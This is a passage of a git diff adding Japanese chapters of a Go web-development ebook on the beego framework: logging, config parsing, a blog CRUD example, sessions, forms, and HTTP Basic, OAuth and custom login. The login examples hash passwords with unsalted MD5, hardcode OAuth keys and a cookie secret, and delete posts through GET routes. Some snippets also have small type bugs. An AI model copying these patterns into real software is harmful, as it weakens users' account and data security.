restarted" + - "Hourly statistics: Requested pages: 12345 Errors: 123 ..." + - "Service paused. Waiting for 'resume' call" +- Warn(警告情報、例:) + - "Cache corrupted for file='test.file'. Reading from back-end" + - "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB" + - "No response from statistics server. Statistics not sent" +- Error(エラー情報、例:) + - "Internal error. Cannot process request #12345 Error:...." + - "Cannot perform login: credentials DB not responding" +- Critical(致命的なエラー、例:) + - "Critical panic received: .... Shutting down" + - "Fatal error: ... App is shutting down to prevent data corruption or loss" + +どの関数にもlevelに対する判断があるのがおわかりいただけるかと思います、ですのでもし我々がデプロイ時にlevel=LevelWarningを設置すると、Trace、Debug、Infoのみっつの関数は何も出力しなくなります。 + +## beegoのコンフィグ設計 +設定情報のパースにおいて、beegoはkey=valueの設定ファイルの読み込みを実装しています。ini設定ファイルのフォーマットに似ていて、あるファイルをパースするものです。その後パースしたデータをmapに保存し、最後にコールする際にいくつかのstring、intといった対応する値を関数が返します。具体的な実装は以下を御覧ください: + +まずini設定ファイルのグローバルな定数をいくつか定義します: + + var ( + bComment = []byte{'#'} + bEmpty = []byte{} + bEqual = []byte{'='} + bDQuote = []byte{'"'} + ) + +定義された設定ファイルのフォーマット: + + // A Config represents the configuration. + type Config struct { + filename string + comment map[int][]string // id: []{comment, key...}; id 1 is for main comment. + data map[string]string // key: value + offset map[string]int64 // key: offset; for editing. + sync.RWMutex + } + +パースファイルの関数を定義したら、まずファイルを開きます。その後一行一行読み取り、コメント、空行およびkey=valueのデータをパースします: + + // ParseFile creates a new Config and parses the file configuration from the + // named file. + func LoadConfig(name string) (*Config, error) { + file, err := os.Open(name) + if err != nil { + return nil, err + } + + cfg := &Config{ + file.Name(), + make(map[int][]string), + make(map[string]string), + make(map[string]int64), + sync.RWMutex{}, + } + cfg.Lock() + defer cfg.Unlock() + defer file.Close() + + var comment bytes.Buffer + buf := bufio.NewReader(file) + + for nComment, off := 0, int64(1); ; { + line, _, err := buf.ReadLine() + if err == io.EOF { + break + } + if bytes.Equal(line, bEmpty) { + continue + } + + off += int64(len(line)) + + if bytes.HasPrefix(line, bComment) { + line = bytes.TrimLeft(line, "#") + line = bytes.TrimLeftFunc(line, unicode.IsSpace) + comment.Write(line) + comment.WriteByte('\n') + continue + } + if comment.Len() != 0 { + cfg.comment[nComment] = []string{comment.String()} + comment.Reset() + nComment++ + } + + val := bytes.SplitN(line, bEqual, 2) + if bytes.HasPrefix(val[1], bDQuote) { + val[1] = bytes.Trim(val[1], `"`) + } + + key := strings.TrimSpace(string(val[0])) + cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key) + cfg.data[key] = strings.TrimSpace(string(val[1])) + cfg.offset[key] = off + } + return cfg, nil + } + +下面实现了一些读取配置文件的函数,返回的值确定为bool、int、float64或string: + + // Bool returns the boolean value for a given key. + func (c *Config) Bool(key string) (bool, error) { + return strconv.ParseBool(c.data[key]) + } + + // Int returns the integer value for a given key. + func (c *Config) Int(key string) (int, error) { + return strconv.Atoi(c.data[key]) + } + + // Float returns the float value for a given key. + func (c *Config) Float(key string) (float64, error) { + return strconv.ParseFloat(c.data[key], 64) + } + + // String returns the string value for a given key. + func (c *Config) String(key string) string { + return c.data[key] + } + +## 応用 +以下の関数はあるアプリケーションでの例です。リモートurlアドレスのjsonデータを取得するのに用います。実装は以下のとおり: + + func GetJson() { + resp, err := http.Get(beego.AppConfig.String("url")) + if err != nil { + beego.Critical("http get info error") + return + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + err = json.Unmarshal(body, &AllInfo) + if err != nil { + beego.Critical("error:", err) + } + } + +関数において、フレームワークのログ関数である`beego.Critical`関数をコールすることでエラーを発生させています。`beego.AppConfig.String("url")`をコールし、設定ファイルの情報を取得します。設定ファイルの情報は以下のとおり(app.conf): + + appname = hs + url ="http://www.api.com/api.html" + + +## links + * [目次]() + * 前へ: [controller設計](<13.3.md>) + * 次へ: [ブログの追加/削除/修正の実装](<13.5.md>) diff --git a/ja/ebook/13.5.md b/ja/ebook/13.5.md new file mode 100644 index 00000000..fb4f320a --- /dev/null +++ b/ja/ebook/13.5.md @@ -0,0 +1,258 @@ +# 13.5 ブログの追加/削除/修正の実装 + +前ではbeegoフレームワークの全体的な構造思想の実装とニセコードの一部の実装についてご紹介しました。この節ではbeegoを通してブログシステムを設計しましょう。これにはブログの閲覧、追加、修正、削除といった操作が含まれます。 +## ブログディレクトリ +ブログディレクトリは以下のようになります: + + /main.go + /views: + /view.tpl + /new.tpl + /layout.tpl + /index.tpl + /edit.tpl + /models/model.go + /controllers: + /index.go + /view.go + /new.go + /delete.go + /edit.go + + +## ブログのルーティング +ブログの主なルーティング規則は以下のようになります: + + //ブログのトップページを表示 + beego.RegisterController("/", &controllers.IndexController{}) + //ブログの詳細な情報を検索 + beego.RegisterController("/view/:id([0-9]+)", &controllers.ViewController{}) + //ブログの文章を作成 + beego.RegisterController("/new", &controllers.NewController{}) + //ブログの削除 + beego.RegisterController("/delete/:id([0-9]+)", &controllers.DeleteController{}) + //ブログの編集 + beego.RegisterController("/edit/:id([0-9]+)", &controllers.EditController{}) + + +## データベーススキーマ +データベースの設計は最も簡単なブログ情報です + + CREATE TABLE entries ( + id INT AUTO_INCREMENT, + title TEXT, + content TEXT, + created DATETIME, + primary key (id) + ); + +## コントローラ +IndexController: + + type IndexController struct { + beego.Controller + } + + func (this *IndexController) Get() { + this.Data["blogs"] = models.GetAll() + this.Layout = "layout.tpl" + this.TplNames = "index.tpl" + } + +ViewController: + + type ViewController struct { + beego.Controller + } + + func (this *ViewController) Get() { + inputs := this.Input() + id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + this.Data["Post"] = models.GetBlog(id) + this.Layout = "layout.tpl" + this.TplNames = "view.tpl" + } + +NewController + + type NewController struct { + beego.Controller + } + + func (this *NewController) Get() { + this.Layout = "layout.tpl" + this.TplNames = "new.tpl" + } + + func (this *NewController) Post() { + inputs := this.Input() + var blog models.Blog + blog.Title = inputs.Get("title") + blog.Content = inputs.Get("content") + blog.Created = time.Now() + models.SaveBlog(blog) + this.Ctx.Redirect(302, "/") + } + +EditController + + type EditController struct { + beego.Controller + } + + func (this *EditController) Get() { + inputs := this.Input() + id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + this.Data["Post"] = models.GetBlog(id) + this.Layout = "layout.tpl" + this.TplNames = "new.tpl" + } + + func (this *EditController) Post() { + inputs := this.Input() + var blog models.Blog + blog.Id, _ = strconv.Atoi(inputs.Get("id")) + blog.Title = inputs.Get("title") + blog.Content = inputs.Get("content") + blog.Created = time.Now() + models.SaveBlog(blog) + this.Ctx.Redirect(302, "/") + } + +DeleteController + + type DeleteController struct { + beego.Controller + } + + func (this *DeleteController) Get() { + id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + this.Data["Post"] = models.DelBlog(id) + this.Ctx.Redirect(302, "/") + } + +## modelレイヤ + + package models + + import ( + "database/sql" + "github.com/astaxie/beedb" + _ "github.com/ziutek/mymysql/godrv" + "time" + ) + + type Blog struct { + Id int `PK` + Title string + Content string + Created time.Time + } + + func GetLink() beedb.Model { + db, err := sql.Open("mymysql", "blog/astaxie/123456") + if err != nil { + panic(err) + } + orm := beedb.New(db) + return orm + } + + func GetAll() (blogs []Blog) { + db := GetLink() + db.FindAll(&blogs) + return + } + + func GetBlog(id int) (blog Blog) { + db := GetLink() + db.Where("id=?", id).Find(&blog) + return + } + + func SaveBlog(blog Blog) (bg Blog) { + db := GetLink() + db.Save(&blog) + return bg + } + + func DelBlog(blog Blog) { + db := GetLink() + db.Delete(&blog) + return + } + + +## viewレイヤ + +layout.tpl + + + + My Blog + + + + + + + {{.LayoutContent}} + + + + +index.tpl + +

Blog posts

+ + + +view.tpl + +

{{.Post.Title}}

+ {{.Post.Created}}
+ + {{.Post.Content}} + +new.tpl + +

New Blog Post

+
+ タイトル:
+ 内容: + +
+ +edit.tpl + +

Edit {{.Post.Title}}

+ +

New Blog Post

+
+ タイトル:
+ 内容: + + +
+ +## links + * [目次]() + * 前へ: [ログとコンフィグ設計](<13.4.md>) + * 次へ: [概要](<13.6.md>) diff --git a/ja/ebook/13.6.md b/ja/ebook/13.6.md new file mode 100644 index 00000000..a8be11d7 --- /dev/null +++ b/ja/ebook/13.6.md @@ -0,0 +1,7 @@ +# 13.6 概要 +この章ではどのように基礎的なGo言語のフレームワークを実装するかについてご紹介しました。フレームワークにはルーティング設計が含まれます。Goのビルトインのhttpパッケージにあるルーティングにはいくつか足りない部分があるため、我々は動的なルーティング規則を設計し、その後MVCモデルにおけるController設計をご紹介しました。controllerはRESTを実装しており、主な考え方はtornadeフレームワークからきています。次にも出るのlayoutおよびテンプレートの自動化技術を実装しました。主に採用したのはGoのビルトインのモデルエンジンです。最後に補足的なログ、設定といった情報の設計をご紹介しました。これらの設計を通して基礎的なフレームワークbeegoを実装しました。現在このフレームワークはすでにgithub上でオープンソースになっています。最後に我々はbeegoを通じてブログシステムの実装を行いました。この実例コードを通してどのように快速にホームページを開発するのかが見渡せたのではないかと思います。 + +## links + * [目次]() + * 前へ: [ブログの追加/削除/修正の実装](<13.5.md>) + * 次へ: [Webフレームワークの拡張](<14.0.md>) diff --git a/ja/ebook/14.0.md b/ja/ebook/14.0.md new file mode 100644 index 00000000..707778f8 --- /dev/null +++ b/ja/ebook/14.0.md @@ -0,0 +1,12 @@ +# 14 Webフレームワークの拡張 +第13章においてWebフレームワークの開発をご紹介しました。MVC、ルーティング、ログ処理、設定処理の紹介を通じて基本的なフレームワークシステムを完成しました。しかしより良いフレームワークは便利な補助ツールでもって素早いWeb開発を行うものです。ではこの章ではどのように素早くWeb開発を行うツールを利用するかについてご紹介していきましょう。第1章で静的なファイルをどのように処理するかご紹介しました。現在あるtwitterのオープンソースのbootstrapをどのように利用することで素早く美しいホームページを開発するか、第二節では前にご紹介したsessionを使ってどのようにユーザのログイン処理を行うかについてご紹介します。第3節ではどのように簡便にフォームを出力する、これらのフォームにどのようにデータの検証を行うか、どのように素早くmodelと結合してデータの追加、削除、修正といった操作を行うかご紹介しました。第4節ではどのようにユーザの認証をおこなうかご紹介しました。http basci認証、http digest認証を含みます。第5節では前にご紹介したi18nを使ってどのように多言語をサポートアプリケーションを開発するかご紹介しました。 + +この章の拡張を通して、beegoフレームワークが素早いWeb開発の特徴を有することになります。最後にどのようにこれらの拡張の特徴を利用して第13章で開発したブログシステムを拡張するかご紹介しましょう。完全で美しいブログシステムを開発することで、読者はbeego開発があなたに与えるスピードをご理解いただけると思います。 + +## 目次 +![](images/navi14.png?raw=true) + +## links + * [目次]() + * 前へ: [第13章概要](<13.6.md>) + * 次へ: [静的なファイルのサポート](<14.1.md>) diff --git a/ja/ebook/14.1.md b/ja/ebook/14.1.md new file mode 100644 index 00000000..5bd61fc7 --- /dev/null +++ b/ja/ebook/14.1.md @@ -0,0 +1,76 @@ +# 14.1 静的なファイルのサポート +前にすでにどのように静的なファイルをサポートするかについてご説明していますが、この節ではbeegoの中でどのように静的なファイルを設定および使用するか詳細にご紹介しましょう。ここでまたtwitterのオープンソースのhtml、cssフレームワークbootstrapをご紹介します。大量の設計を必要とせずに美しいホームページを作成することができます。 + +## beegoの静的なファイルの実装と設定 +Goのnet/httpパッケージでは静的なファイルのサービスを提供しています。`ServeFile`と`FileServer`といった関数です。beegoの静的なファイルの処理はこのレイヤーによって処理されます。具体的な実装は以下のとおり: + + //static file server + for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + w.started = true + return + } + } + +StaticDirに保存されているのはurlが対応する静的なファイルが存在するディレクトリです。そのため、URLリクエストを処理する際対応するリクエストアドレスに静的な処理ではじまるurlを含んでいるか判断するだけです。もし含まれていれば、http.ServeFileによってサービスが提供されます。 + +例を挙げましょう: + + beego.StaticDir["/asset"] = "/static" + +ではリクエストされたurlが`http://www.beego.me/asset/bootstrap.css`だった場合、リクエスト`/static/bootstrap.css`によってフィードバックがクライアントに提供されます。 + +## bootstrapセット +BootstrapはTwitterが生み出したオープンソースのフロントエンド開発のツールパッケージです。開発者にとっては、Bootstrapは素早いWebアプリケーション・プログラムの開発における最良のフロントエンドツールパッケージです。これはCSSとHTMLのセットで、最新のHTML5標準を使用しています。Web開発のモダンなバージョン、フォーム、ボタン、テーブル、ネットワークシステム等を提供します。 + +- モジュール + Bootstrapには豊富なWebモジュールが含まれています。これらのモジュールによって美しく、機能の揃ったページを作成することができます。これには以下のモジュールが含まれています: + プルダウンメニュー、ボタンセット、ボタンプルダウンメニュー、ナビゲーション、ナビゲーションバー、パンくずリスト、ページング、ランキング、サムネイル、エラーダイアログ、プログレスバー、メディアオブジェクト等 +- Javascriptプラグイン + Bootstrapは13個のjQueryプラグインを備えています。これらのプラグインはBootstrapのモジュールに"生命"を与えます。これには以下が含まれます: + モードダイアログ、ラベルページ、スクロールバー、ポップアップウィンドウ等 +- カスタマイズしたフレームワークのコード + BootstrapのすべてのCSS変数は修正できます。自分の好みに合わせてコードを切り取ることができます。 + +![](images/14.1.bootstrap.png?raw=true) + +図14.1 bootstrapサイト + +次にbootstrapをbeegoフレームワークに集めることで、美しいサイトを作成することができます。 + +1. まずダウンロードしたbootstrapディレクトリを我々のプロジェクトのディレクトリに展開します。以下のスクリーンショットのように名前をstaticとします。 + + ![](images/14.1.bootstrap2.png?raw=true) + + 図14.2 プロジェクトにおける静的なファイルのディレクトリ構造 + +2. beegoはデフォルトでStaticDirの値を設定しますので、あなたの静的なディレクトリがstaticであれば、追加する必要はありません: + + StaticDir["/static"] = "static" + +3. テンプレートで以下のようなアドレスを使用すればOKです: + + //cssファイル + + + //jsファイル + + + //画像ファイル + + +上ではbootstrapをbeegoの中に実装しています。以下に示す図は実装後の効果図です: + +![](images/14.1.bootstrap3.png?raw=true) + +図14.3 bootstrapにもとづいて作成されたサイトのインターフェース + +これらのテンプレートとフォーマットはbootstrapのオフィシャルが提供しているものです。ここではコードを再び貼り直すことはしません。みなさんはbootstrapのオフィシャルサイトでどのようにテンプレートを記述するか学んでください。 + + +## links + * [目次]() + * 前へ: [Webフレームワークの拡張](<14.0.md>) + * 次へ: [Sessionのサポート](<14.2.md>) diff --git a/ja/ebook/14.2.md b/ja/ebook/14.2.md new file mode 100644 index 00000000..7a421021 --- /dev/null +++ b/ja/ebook/14.2.md @@ -0,0 +1,103 @@ +# 14.2 Sessionのサポート +第6章ではGo言語においてどのようにsessionを使用するのかご紹介しました。また、sessionMangerを実装しました。beegoフレームワークはsessionManagerに基づいて便利な処理機能を実装します。 + +## sessionの実装 +beegoでは主に以下のグローバル変数でsession処理をコントロールします: + + //related to session + SessionOn bool // sessionモジュールが起動されているか。デフォルトでは起動しません。 + SessionProvider string // sessionバックエンドでは処理モジュールを提供します。デフォルトはsessionManagerがサポートするmemoryです。 + SessionName string // クライアントで保存されるcookiesの名前 + SessionGCMaxLifetime int64 // cookiesの有効期限 + + GlobalSessions *session.Manager //グローバルなsessionコントローラ + +当然上のいくつかの変数は値を初期化する必要があり、以下のコードによって設定ファイルとともにこれらの値を設定することができます。 + + if ar, err := AppConfig.Bool("sessionon"); err != nil { + SessionOn = false + } else { + SessionOn = ar + } + if ar := AppConfig.String("sessionprovider"); ar == "" { + SessionProvider = "memory" + } else { + SessionProvider = ar + } + if ar := AppConfig.String("sessionname"); ar == "" { + SessionName = "beegosessionID" + } else { + SessionName = ar + } + if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 { + int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64) + SessionGCMaxLifetime = int64val + } else { + SessionGCMaxLifetime = 3600 + } + +beego.Run関数では以下のようなコードが追加されています: + + if SessionOn { + GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime) + go GlobalSessions.GC() + } + +SessionOn設定をtrueにするだけで、デフォルトでsession機能が起動します。独立してgoroutineを起動することでsessionを処理します。 + +カスタム設定のControllerにおいて素早くsessionを使用するため、作者は`beego.Controller`で以下のような方法を提供しています: + + func (c *Controller) StartSession() (sess session.Session) { + sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request) + return + } + +## sessionの使用 +上のコードによって、beegoフレームワークは簡単にsession機能を継承することができるとわかります。ではプロジェクトにおいてどのように使用するのでしょうか? + +まずアプリケーションのmainでsessionを起動します: + + beego.SessionOn = true + + +その次にコントローラの対応するメソッドで以下に示すようにsessionを使用します: + + func (this *MainController) Get() { + var intcount int + sess := this.StartSession() + count := sess.Get("count") + if count == nil { + intcount = 0 + } else { + intcount = count.(int) + } + intcount = intcount + 1 + sess.Set("count", intcount) + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.Data["Count"] = intcount + this.TplNames = "index.tpl" + } + +上のコードはどのようにしてコントロールロジックにおいてsessionを使用するか示しています。主に2ステップに分けられます: + +1. sessionオブジェクトを取得する + + //オブジェクトを取得、PHPのsession_start()に似ています。 + sess := this.StartSession() + +2. sessionを使用して一般的なsession値を操作します + + //session値を取得します。PHPの$_SESSION["count"}に似ています。 + sess.Get("count") + + //session値を設定します + sess.Set("count", intcount) + +上のコードからbeegoフレームワークの開発するアプリケーションにおいて使用するsessionはなかなか便利だとわかります。基本的にPHPでコールする`session_start()`とよく似ています。 + + +## links + * [目次]() + * 前へ: [静的なファイルのサポート](<14.1.md>) + * 次へ: [フォームおよび検証のサポート](<14.3.md>) diff --git a/ja/ebook/14.3.md b/ja/ebook/14.3.md new file mode 100644 index 00000000..417ef079 --- /dev/null +++ b/ja/ebook/14.3.md @@ -0,0 +1,281 @@ +# 14.3 フォームおよび検証のサポート +Web開発ではこのようなプロセスをよく見かけます: + +- ページを開いてフォームを表示する。 +- ユーザが入力を行い、フォームを送信する。 +- もしユーザが無効な情報を送信した場合または何か必須項目を書き漏らしていた場合、フォームはユーザのデータとエラーの詳細情報を返す。 +- ユーザが再度書き直し、上のプロセスを継続し、有効なフォームを送信する。 + +サーバのスクリプトでは必ず: + +- ユーザが送信したフォームのデータを検証しなければなりません。 +- データが正しい型、標準に適合しているか検証し、もしユーザ名が送信された場合、許された文字列のみを含んでいるか検証されなければなりません。これは最小の長さ以上最大の長さ以下でなければなりません。ユーザ名はすでに存在する他のユーザ名と重複してはいけません。とりわけ一つのキーワードについてもです。 +- データをフィルタリングし危険な文字列を削除してロジックの処理において受け取るデータが安全であることを保証します。 +- 必要であれば、データをあらかじめフォーマットします(データから空白文字やHTMLタグを削除するといったことです。) +- データが準備できると、データベースに保存します。 + +上のプロセスは特に複雑ということではありませんが、通常はとても多くのコードを書く必要があります。またエラー情報を表示するために、多くの場合ページに多くの異なるコントロール構造を使用します。フォームの検証を作成するのは簡単とはいいますが、実際に行うのはとても無味乾燥な作業です。 + +## フォームと検証 +開発者にとって、開発のプロセスというものはとても複雑なものです。また、多くの場合同じ作業を何回も行うことになります。例えばシーンプロジェクトにおいてフォームデータを一つ追加する必要がでてきたとしましょう。この場合ローカルなコードの全体の流れをすべて修正する必要が出てきます。Goではstructはよく使われるデータ構造であることを知っています。そのため、beegoのformではstructを用いてフォームの情報を処理します。 + +まずWebアプリケーションを開発する時に対応するstructを定義します。ひとつのフィールドはひとつのform要素に対応しています。structのtagによって対応するよすおの情報と懸賞する情報を以下のように対応付けします: + + type User struct{ + Username string `form:text,valid:required` + Nickname string `form:text,valid:required` + Age int `form:text,valid:required|numeric` + Email string `form:text,valid:required|valid_email` + Introduce string `form:textarea` + } + +structを定義したらcontrollerにおいてこのように操作します + + func (this *AddController) Get() { + this.Data["form"] = beego.Form(&User{}) + this.Layout = "admin/layout.html" + this.TplNames = "admin/add.tpl" + } + +テンプレートで以下のようにフォームを表示します + +

New Blog Post

+
+ {{.form.render()}} +
+ +上では全体の第1ステップを定義しました。structからフォームを表示したあとは、ユーザが情報を入力し、サーバがデータを受け取って検証を行った後、データベースに保存されます。 + + func (this *AddController) Post() { + var user User + form := this.GetInput(&user) + if !form.Validates() { + return + } + models.UserInsert(&user) + this.Ctx.Redirect(302, "/admin/index") + } + +## フォームの型 +以下のリストは対応するform要素の情報を表しています: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名前引数機能の詳細
textNotextbox入力欄
buttonNoボタン
checkboxNoチェックボックス
dropdownNoドロップダウン
fileNoファイルアップロード
hiddenNohidden要素
passwordNoパスワード入力欄
radioNoラジオボタン
textareaNoテキストエリア
+ + +## フォームの検証 +以下のリストは使用されるオリジナルのルールを表しています + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ルール引数詳細
requiredNo要素が空だった場合、FALSEを返します 
matchesYesもしフォームの要素の値と引数の対応するフォームのフィールドの値が等しくなければ、FALSEを返しますmatches[form_item]
is_uniqueYesもしフォームの要素の値と指定されたデータ表に重複があった場合、Falseを返します(訳注:例えばis_unique[User.Email]とあれば、バリデーションクラスはUser表からEmail欄に要素と同じ値が無いか確かめます。もし重複が存在すれば、falseを返します。これにより開発者は他にCallbackバリデーションコードを書く必要がなくなります。)is_unique[table.field]
min_lengthYesもしフォームの要素の値の文字列の長さが引数で定義された数字よりも少なかった場合、FALSEを返します。min_length[6]
max_lengthYesもしフォームの要素の値の文字列の長さが引数で定義された数字よりも大きい場合、FALSEを返します。max_length[12]
exact_lengthYesもしフォームの要素の値の文字列の長さが引数で定義された数字と異なっていた場合、FALSEを返します。exact_length[8]
greater_thanYesもしフォームの要素の値が数字型でないか、引数で定義された値よりも小さかった場合、FALSEを返します。greater_than[8]
less_thanYesもしフォームの要素の値が数字型でないか、引数で定義された値よりも大きかった場合、FALSEを返します。less_than[8]
alphaNoもしフォームの要素の値にアルファベット以外の文字列が含まれていた場合、FALSEを返します。 
alpha_numericNoもしフォームの要素の値にアルファベットか数字以外の文字列が含まれていた場合、FALSEを返します。 
alpha_dashNoもしフォームの要素の値にアルファベット/数字/アンダースコア/ダッシュ以外の文字列が含まれていた場合、FALSEを返します。 
numericNoもしフォームの要素の値に数字以外の文字列が含まれていた場合、FALSEを返します。 
integerNoもしフォームの要素の中に整数以外の文字列が含まれていた場合、FALSEを返します。 
decimalYesもしフォームの要素に(少数でない)不完全な値が入力されていた場合、FALSEを返します。 
is_naturalNoもしフォームの要素の値に自然数ではない他の数値が含まれていた場合(その他の数値には0は含みません)、FALSEを返します。自然数は:0,1,2,3....などです。 
is_natural_no_zeroNoもしフォームの要素の値に自然数を除くその他の数値が含まれていた場合(その他の数値には0を含みます)、FALSEを返します。0でない自然数は:1,2,3.....などです。 
valid_emailNoもしフォームの要素の値に正しくないemailアドレスが含まれている場合、FALSEを返します。 
valid_emailsNoもしフォームの要素の値の中のある値に正しくないemailアドレス(アドレスの間はカンマで区切られています)を含んでいた場合、FALSEを返します。 
valid_ipNoもしフォームの要素の値が正しくないIPアドレスだった場合、FALSEを返します。 
valid_base64Noもしフォームの要素の値にbase64でエンコードされる文字以外の文字列が含まれる場合、FALSEを返します。 
+ + +## links + * [目次]() + * 前へ: [Sessionのサポート](<14.2.md>) + * 次へ: [ユーザの認証](<14.4.md>) diff --git a/ja/ebook/14.4.md b/ja/ebook/14.4.md new file mode 100644 index 00000000..74a69b00 --- /dev/null +++ b/ja/ebook/14.4.md @@ -0,0 +1,259 @@ +# 14.4 ユーザの認証 +Webアプリケーションを開発する過程で、ユーザ認証は開発者がよくぶつかる問題です。ユーザのログイン、サインアップ、ログアウト等といった操作で、一般的な認証は3つの方面の認証に分けることができます + +- HTTP BasicとHTTP Digest認証 +- サードパーティ認証:QQ、weibo、doubian、OPENID、google、github、facebookおよびtwitterなどです +- カスタム定義のユーザログイン、サインアップ、ログアウトは一般的にsession、cookie認証にもとづいています。 + +beegoは現在この3つの方式のどの形式にも対応していません。しかしサードパーティのオープンソースライブラリによって上の3つの方法のユーザ認証を実装することができます。しかし後々beegoは前者2つの認証を一つ一つ実装するかもしれません。 + +## HTTP BasicとHTTP Digest認証 +この2つの認証はいくつかのアプリケーションが採用している比較的簡単な認証です。現在すでにオープンソースのサードパーティライブラリでこの2つの認証をサポートしています; + + github.com/abbot/go-http-auth + +下のコードはこれらのライブラリをどのようにbeegoに導入するかを示しています: + + package controllers + + import ( + "github.com/abbot/go-http-auth" + "github.com/astaxie/beego" + ) + + func Secret(user, realm string) string { + if user == "john" { + // password is "hello" + return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1" + } + return "" + } + + type MainController struct { + beego.Controller + } + + func (this *MainController) Prepare() { + a := auth.NewBasicAuthenticator("example.com", Secret) + if username := a.CheckAuth(this.Ctx.Request); username == "" { + a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request) + } + } + + func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" + } + +上のコードはbeegoのprepare関数を利用しています。正常なロジックを実行する前に認証関数をコールすることで、非常に簡単にhttp authを実装しています。digest認証も同様の原理です。 + +## oauthとoauth2の認証 +oauthとoauth2は現在比較的流行している二種類の認証方式です。サードパーティでちょうどこの認証を実装しているライブラリがあるのですが、国外で実装されたもので、QQ、weiboといった中国国内のアプリケーション認証はありません。 + + github.com/bradrydzewski/go.auth + +下のコードはどのようにしてこのライブラリをbeegoの中に導入しoauth認証を実装するか示しています。ここではgithubを例にしています: + +1. ルーティングを2本追加 + + beego.RegisterController("/auth/login", &controllers.GithubController{}) + beego.RegisterController("/mainpage", &controllers.PageController{}) + +2. 次にGithubControllerログインの画面を処理: + + package controllers + + import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" + ) + + const ( + githubClientKey = "a0864ea791ce7e7bd0df" + githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca" + ) + + type GithubController struct { + beego.Controller + } + + func (this *GithubController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + githubHandler := auth.Github(githubClientKey, githubSecretKey) + + githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request) + } + + +3. ログインに成功した後のページ画面を処理 + + package controllers + + import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" + "net/http" + "net/url" + ) + + type PageController struct { + beego.Controller + } + + func (this *PageController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + user, err := auth.GetUserCookie(this.Ctx.Request) + + //if no active user session then authorize user + if err != nil || user.Id() == "" { + http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther) + return + } + + //else, add the user to the URL and continue + this.Ctx.Request.URL.User = url.User(user.Id()) + this.Data["pic"] = user.Picture() + this.Data["id"] = user.Id() + this.Data["name"] = user.Name() + this.TplNames = "home.tpl" + } + +全体の流れは以下のようになります。まずブラウザを開いてアドレスを入力します: + +![](images/14.4.github.png?raw=true) + +図14.4 ログインボタンを持つトップページの表示 + +次にリンクをクリックすると以下のようなインターフェースが現れます: + +![](images/14.4.github2.png?raw=true) + +図14.5 ログインボタンをクリックしてgithubの権限取得ページを表示 + +Authorize appをクリックすると以下のようなインターフェースが現れます: + +![](images/14.4.github3.png?raw=true) + +図14.6 権限取得にログインした後表示される取得済みのgithub情報のページ + +## カスタム定義認証 +カスタム定義の認証は一般的にはsessionと組み合わせて検証されます。以下のコードはあるbeegoのオープンソースブログに基づいています: + + + //ログイン処理 + func (this *LoginController) Post() { + this.TplNames = "login.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + if userInfo.Password == newPass { + var users models.User + users.Last_logintime = now + models.UpdateUserInfo(users) + + //ログイン成功でsessionを設定 + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + + this.Ctx.Redirect(302, "/") + } + } + + //サインアップ処理 + func (this *RegController) Post() { + this.TplNames = "reg.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + usererr := checkUsername(username) + fmt.Println(usererr) + if usererr == false { + this.Data["UsernameErr"] = "Username error, Please to again" + return + } + + passerr := checkPassword(password) + if passerr == false { + this.Data["PasswordErr"] = "Password error, Please to again" + return + } + + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + + if userInfo.Username == "" { + var users models.User + users.Username = username + users.Password = newPass + users.Created = now + users.Last_logintime = now + models.AddUser(users) + + //ログイン成功でsessionを設定 + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + this.Ctx.Redirect(302, "/") 